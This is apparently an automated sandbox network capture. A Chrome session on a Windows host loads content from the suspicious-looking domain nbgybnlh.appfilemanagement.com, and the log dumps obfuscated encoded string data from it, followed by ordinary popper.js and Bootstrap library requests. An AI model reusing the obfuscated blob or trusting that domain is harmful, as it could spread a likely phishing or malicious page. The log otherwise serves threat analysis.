2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 27 5a 22 78 62 66 59 58 32 32 5a 46 58 7d 27 2c 27 21 3a 64 3b 4e 74 55 26 47 60 35 27 2c 27 42 25 23 31 3f 5d 74 42 47 76 59 72 7d 27 2c 27 62 70 56 67 51 2a 6a 48 44 76 3d 57 25 4f 2c 27 2c 27 6c 35 4d 34 4c 39 7e 6c 78 24 66 71 76 6d 27 2c 27 62 70 56 67 51 2a 70 2a 45 5a 2a 58 61 3e 31 56 27 2c 27 6c 35 4d 34 55 2f 3b 6c 73 7e 29 63 38 5f 4a 27 2c 27 39 38 21 42 32 75 5b 40 2a 44 59 4c 75 35 4b 32 78 2c 27 2c 27 47 29 48 71 41 4c 51 79 27 2c 27 35 35 5b 48 7d 27 2c 27 7d 73 21 42 34 22 6c 3c 72 59 4d 69 4f 58 3c 32 58 2c 27 2c 27 56 7b 61 7d 36 56 53 27 2c 27 56 7b 77 3d 28 39 40 31 2f 59 27 2c 27 68 2c 23 31 27 2c 27 3d 22 2a 7c 27 2c 27 79 25 3f 4a 3d 34 57 2f 3f 27 2c 27 79 25 3f 4a 51 47 32 79 3f 27 2c 27 44 59 35 47 42 5e 70 79 27 2c 27 35 65 61 Data Ascii: 'Z"xbfYX22ZFX}','!:d;NtU&G`5','B%#1?]tBGvYr}','bpVgQjHDv=W%O,','l5M4L9~lx$fqvm','bpVgQpEZXa>1V','l5M4U/;ls~)c8_J','98!B2u[@DYLu5K2x,','G)HqALQy','55[H}','}s!B4"l<rYMiOX<2X,','V{a}6VS','V{w=(9@1/Y','h,#1','="\|','y%?J=4W/?','y%?JQG2y?','DY5GB^py','5ea
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 5b 66 7c 72 64 2e 65 2e 62 29 3e 59 71 7e 36 41 6c 41 74 4f 67 60 30 29 41 27 2c 27 2b 54 65 4c 4e 7e 6c 31 34 69 3c 75 6c 2e 2e 27 2c 27 56 28 50 79 51 6f 3b 3c 2a 33 75 6b 5d 47 44 3f 61 35 5e 6d 67 5f 39 79 68 62 4b 39 5f 64 39 57 27 2c 27 7c 32 7a 7b 45 4e 2f 38 67 44 66 66 4f 6d 31 2b 55 70 4b 7c 42 22 62 60 34 3a 2a 5e 76 31 49 33 61 3b 43 66 27 2c 27 64 32 22 70 79 73 23 3c 31 46 6e 3d 74 5a 37 2b 27 2c 27 22 4c 3e 79 50 76 74 2c 3c 62 2c 68 2c 58 26 33 58 63 4b 7c 42 55 7b 40 55 52 77 2c 29 4e 71 7c 4c 4a 42 62 27 2c 27 6c 73 71 66 22 7e 77 30 57 59 65 76 34 25 21 21 54 66 65 4c 4f 7b 44 6b 4e 6b 68 66 7c 65 6e 42 64 3f 5b 60 36 3b 7b 6b 54 6b 6d 26 2c 27 2c 27 7a 3e 57 34 67 5b 75 32 75 62 4b 41 4e 6e 4b 38 4c 53 27 2c 27 6b 22 4b 79 7e 38 60 77 Data Ascii: [f\|rd.e.b)>Yq~6AlAtOg`0)A','+TeLN~l14i<ul..','V(PyQo;<3uk]GD?a5^mg_9yhbK9_d9W','\|2z{EN/8gDffOm1+UpK\|B"b`4:^v1I3a;Cf','d2"pys#<1Fn=tZ7+','"L>yPvt,<b,h,X&3XcK\|BU{@URw,)Nq\|LJBb','lsqf"~w0WYev4%!!TfeLO{DkNkhf\|enBd?[`6;{kTkm&,','z>W4g[u2ubKANnK8LS','k"Ky~8`w
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 3c 24 3d 39 52 4c 62 79 2e 6b 73 6d 48 3b 75 7c 69 6a 49 6e 4a 61 49 63 57 59 4a 26 7c 7c 62 64 26 3f 35 2f 41 56 3a 60 44 4a 7d 2f 30 73 60 32 49 22 52 7b 78 4e 35 71 5e 77 69 5d 62 73 2b 74 3b 7b 42 70 25 7e 6b 46 5b 44 2a 38 5e 2e 75 38 55 54 7b 42 74 5f 48 77 3d 7e 24 42 32 57 62 64 79 5d 2b 66 5e 30 37 59 3a 33 3b 7e 33 21 7d 3f 70 66 74 6d 7d 25 40 3c 5f 36 6b 67 5d 7c 63 74 61 7c 42 3d 60 77 5f 5d 3a 44 2a 78 7e 76 52 38 57 5b 75 62 61 71 49 63 3d 7e 79 24 7b 65 2b 64 7d 3f 2b 66 7e 73 77 4c 3b 4a 5d 2f 2f 22 3c 57 71 22 71 65 58 2f 33 71 58 73 7d 50 28 45 54 67 3e 24 77 70 63 5b 59 50 5b 44 5e 45 3f 57 3f 38 6a 73 7e 62 48 40 37 3f 78 7e 64 7e 75 57 62 64 7d 7d 7a 70 3a 3c 4b 3c 55 60 55 40 29 4e 7c 49 71 22 52 7b 6c 6f 5d 50 42 4a 6c 50 7e 64 73 Data Ascii: <$=9RLby.ksmH;u\|ijInJaIcWYJ&\|\|bd&?5/AV:`DJ}/0s`2I"R{xN5q^wi]bs+t;{Bp%~kF[D8^.u8UT{Bt_Hw=~$B2Wbdy]+f^07Y:3;~3!}?pftm}%@<_6kg]\|cta\|B=`w_]:Dx~vR8W[ubaqIc=~y${e+d}?+f~swL;J]//"<Wq"qeX/3qXs}P(ETg>$wpc[YP[D^E?W?8js~bH@7?x~d~uWbd}}zp:<K<U`U@)N\|Iq"R{lo]PBJlP~ds
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 4a 33 6a 37 21 49 21 37 24 35 2f 64 32 54 50 3b 6b 77 45 69 5a 5b 6b 5f 62 6f 7c 32 5a 29 32 38 7b 41 3b 4a 6a 4d 61 2e 7c 34 70 3e 77 6b 46 62 54 64 57 21 64 64 38 6a 73 4d 7c 4a 47 72 5d 7d 7e 61 76 77 57 41 64 3d 24 79 2f 21 65 59 60 3b 4a 6c 76 24 73 6e 42 45 66 64 66 7b 6e 74 50 34 30 3e 65 69 76 45 21 32 7b 2f 47 74 77 4b 63 45 33 45 6d 21 64 3f 38 72 5b 50 78 49 5f 32 32 23 7e 23 7e 4a 57 66 42 51 38 7a 70 6d 56 35 33 47 4a 5f 28 26 7c 31 49 5a 38 55 2f 3d 25 48 33 46 36 61 3b 7e 65 7c 61 7c 7b 76 22 3a 71 54 2b 2f 54 38 78 6e 6a 6e 42 2c 30 56 66 42 71 68 31 2b 46 55 2c 3a 61 6d 31 7c 54 28 60 3b 4b 37 59 69 4a 54 52 58 25 43 7d 49 22 21 6d 48 5e 74 50 4a 3a 22 5d 2f 57 75 32 45 54 7e 6d 3a 76 33 2b 59 6b 6e 77 7c 48 56 38 28 7b 41 62 33 47 65 2c Data Ascii: J3j7!I!7$5/d2TP;kwEiZ[k_bo\|2Z)28{A;JjMa.\|4p>wkFbTdW!dd8jsM\|JGr]}~avwWAd=$y/!eY`;Jlv$snBEfdf{ntP40>eivE!2{/GtwKcE3Em!d?8r[PxI_22#~#~JWfBQ8zpmV53GJ_(&\|1IZ8U/=%H3F6a;~e\|a\|{v":qT+/T8xnjnB,0VfBqh1+FU,:am1\|T(`;K7YiJTRX%C}I"!mH^tPJ:"]/Wu2ET~m:v3+Yknw\|HV8({Ab3Ge,
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 76 79 2a 2f 7d 26 22 50 3f 4c 28 45 7a 58 45 54 65 57 73 4c 2f 4a 7e 60 2f 77 5e 2e 4f 42 40 52 65 7b 78 40 41 3c 5a 73 21 42 48 58 66 64 28 3f 35 2f 46 63 77 50 55 41 76 45 29 4e 66 21 52 22 21 6d 47 26 71 2b 23 28 41 3b 62 58 3f 2b 7e 59 26 48 25 76 25 76 34 6b 70 36 6d 35 2f 64 58 32 6e 7b 4a 61 45 6b 25 73 6c 42 60 58 66 64 5b 7e 2a 42 3c 67 46 46 2f 36 6a 46 4d 5a 34 6c 71 7c 31 66 72 70 57 26 3e 28 22 5d 34 22 6e 21 63 5b 37 70 3c 77 7d 2b 59 77 40 45 26 35 4f 42 53 7b 7b 42 5a 2f 21 6b 7d 7e 58 6a 38 50 79 42 67 24 5b 60 41 2f 79 64 39 36 77 45 40 7c 31 49 43 41 38 4c 4f 70 60 2b 53 73 69 5d 62 73 2b 74 3b 7b 78 6e 48 73 78 63 40 24 5a 34 6d 74 6e 42 7c 7c 41 7b 4a 7e 47 46 4e 35 57 6a 30 31 66 42 64 22 7a 70 50 2f 33 60 3b 4a 34 76 36 25 66 21 63 Data Ascii: vy/}&"P?L(EzXETeWsL/J~`/w^.OB@Re{x@A<Zs!BHXfd(?5/FcwPUAvE)Nf!R"!mG&q+#(A;bX?+~Y&H%v%v4kp6m5/dX2n{JaEk%slB`Xfd[~B<gFF/6jFMZ4lq\|1frpW&>("]4"n!c[7p<w}+Yw@E&5OBS{{BZ/!k}~Xj8PyBg$[`A/yd96wE@\|1ICA8LOp`+Ssi]bs+t;{xnHsxc@$Z4mtnB\|\|A{J~GFN5Wj01fBd"zpP/3`;J4v6%f!c
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 75 21 64 56 38 30 28 5b 56 74 5f 54 2c 55 35 70 64 4b 5d 48 67 5e 70 79 2f 64 32 35 64 39 36 65 75 6d 25 4a 7c 73 7c 64 4c 33 25 65 2b 79 56 3a 67 35 7c 58 32 45 54 62 26 5a 7e 2e 61 63 69 33 57 66 4e 38 6c 7e 7e 35 4f 74 5d 68 6c 75 30 6f 40 73 31 62 64 26 3f 7a 70 5f 73 3c 5b 26 36 39 73 7a 6a 47 57 30 62 54 7b 71 5a 79 33 73 52 72 3b 76 31 59 32 3e 24 6c 6d 3a 76 25 76 72 54 2a 78 4a 22 26 64 7c 3f 59 7b 46 46 60 7d 4a 59 58 24 59 58 66 64 54 42 4c 41 73 63 42 33 55 41 5f 28 6d 25 5b 6b 7a 38 31 7b 7b 63 65 2b 6a 33 57 4c 62 73 3d 61 44 4c 63 62 24 76 26 30 42 77 5e 45 70 4e 74 42 79 6b 34 7b 74 5d 3b 32 72 59 74 42 77 21 7e 49 70 28 42 2f 30 4b 35 60 28 2e 30 52 67 6d 37 3d 51 38 31 7b 67 65 48 33 5b 50 3f 50 61 28 4c 2b 61 7c 2f 48 69 7e 74 76 57 54 Data Ascii: u!dV80([Vt_T,U5pdK]Hg^py/d25d96eum%J\|s\|dL3%e+yV:g5\|X2ETb&Z~.aci3WfN8l~~5Ot]hlu0o@s1bd&?zp_s<[&69szjGW0bT{qZy3sRr;v1Y2>$lm:v%vrT*xJ"&d\|?Y{FF`}JYX$YXfdTBLAscB3UA_(m%[kz81{{ce+j3WLbs=aDLcb$v&0Bw^EpNtByk4{t];2rYtBw!~Ip(B/0K5`(.0Rgm7=Q81{geH3[P?Pa(L+a\|/Hi~tvWT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50075	104.17.25.14	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:45 UTC	711	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://nbgybnlh.appfilemanagement.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:45 UTC	967	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:45 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 66719 Expires: Sun, 04 Jan 2026 19:04:45 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IDPby5N%2FcysEmVqbExV04zKUvp3W5BjyPiYwr%2FB1Mjxob0JBN19jD04Btbr8yhUNyMIi%2F%2FiyeCQyeg%2FFG1G8QrCCV25Gjr9pU7IPSgA3wcRne1sZ8Dc8WBdF%2FNRZn%2Bg32K%2FjhBe4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 901fe4c5ea524402-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:45 UTC	402	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 7b 69 66 28 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 Data Ascii: {if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#d
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 20 6c 28 65 2c 74 29 7b 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 Data Ascii: l(e,t){var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 68 3d 63 28 7b 74 6f 70 3a 70 2e 74 6f 70 2d 73 2e 74 6f 70 2d 66 2c 6c 65 66 74 3a 70 2e 6c 65 66 74 2d 73 2e 6c 65 66 74 2d 6d 2c 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 29 3b 69 66 28 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 30 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d 30 2c 21 69 26 26 72 29 7b 76 61 72 20 75 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 54 6f 70 2c 31 30 29 2c 62 3d 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 6d 61 72 67 69 6e 4c 65 66 74 2c 31 30 29 3b 68 2e 74 6f 70 2d 3d 66 2d 75 2c 68 2e 62 6f 74 74 6f 6d 2d 3d 66 2d 75 2c 68 2e 6c 65 66 74 2d 3d 6d 2d 62 2c 68 2e 72 69 67 68 74 2d 3d 6d 2d 62 2c 68 2e 6d 61 72 67 69 6e 54 6f 70 3d 75 2c 68 2e 6d 61 72 67 69 6e 4c 65 66 74 3d Data Ascii: h=c({top:p.top-s.top-f,left:p.left-s.left-m,width:p.width,height:p.height});if(h.marginTop=0,h.marginLeft=0,!i&&r){var u=parseFloat(a.marginTop,10),b=parseFloat(a.marginLeft,10);h.top-=f-u,h.bottom-=f-u,h.left-=m-b,h.right-=m-b,h.marginTop=u,h.marginLeft=
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 67 68 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 2c 62 6f 74 74 6f 6d 3a 7b 77 69 64 74 68 3a 70 2e 77 69 64 74 68 2c 68 65 69 67 68 74 3a 70 2e 62 6f 74 74 6f 6d 2d 74 2e 62 6f 74 74 6f 6d 7d 2c 6c 65 66 74 3a 7b 77 69 64 74 68 3a 74 2e 6c 65 66 74 2d 70 2e 6c 65 66 74 2c 68 65 69 67 68 74 3a 70 2e 68 65 69 67 68 74 7d 7d 2c 64 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 73 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 73 65 28 7b 6b 65 79 3a 65 7d 2c 73 5b 65 5d 2c 7b 61 72 65 61 3a 45 28 73 5b 65 5d 29 7d 29 7d 29 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 61 72 65 61 2d 65 2e 61 72 65 61 7d 29 2c 61 3d 64 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 Data Ascii: ght,height:p.height},bottom:{width:p.width,height:p.bottom-t.bottom},left:{width:t.left-p.left,height:p.height}},d=Object.keys(s).map(function(e){return se({key:e},s[e],{area:E(s[e])})}).sort(function(e,t){return t.area-e.area}),a=d.filter(function(e){var
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 26 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 6d 6f 64 69 66 69 65 72 2e 66 75 6e 63 74 69 6f 6e 60 20 69 73 20 64 65 70 72 65 63 61 74 65 64 2c 20 75 73 65 20 60 6d 6f 64 69 66 69 65 72 2e 66 6e 60 21 27 29 3b 76 61 72 20 69 3d 74 5b 27 66 75 6e 63 74 69 6f 6e 27 5d 7c 7c 74 2e 66 6e 3b 74 2e 65 6e 61 62 6c 65 64 26 26 65 28 69 29 26 26 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 70 6f 70 70 65 72 29 2c 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 3d 63 28 6f 2e 6f 66 66 73 65 74 73 2e 72 65 66 65 72 65 6e 63 65 29 2c 6f 3d 69 28 6f 2c 74 29 29 7d 29 2c 6f 7d 66 75 6e 63 74 69 6f 6e 20 4e 28 29 7b 69 66 28 21 74 68 69 73 2e 73 74 61 74 65 2e 69 73 44 65 73 74 72 6f 79 65 64 29 7b 76 61 72 20 65 Data Ascii: &console.warn('`modifier.function` is deprecated, use `modifier.fn`!');var i=t['function']\|\|t.fn;t.enabled&&e(i)&&(o.offsets.popper=c(o.offsets.popper),o.offsets.reference=c(o.offsets.reference),o=i(o,t))}),o}function N(){if(!this.state.isDestroyed){var e
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 72 73 28 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c Data Ascii: rs(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 61 6d 65 3b 72 65 74 75 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b Data Ascii: ame;return o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 2c 74 29 7b 72 65 74 75 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 Data Ascii: ,t){return''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}f
2025-01-14 19:04:45 UTC	1369	IN	Data Raw: 2c 69 29 7b 72 65 74 75 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 Data Ascii: ,i){return o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=argu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	50079	104.18.10.207	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:45 UTC	663	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://nbgybnlh.appfilemanagement.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
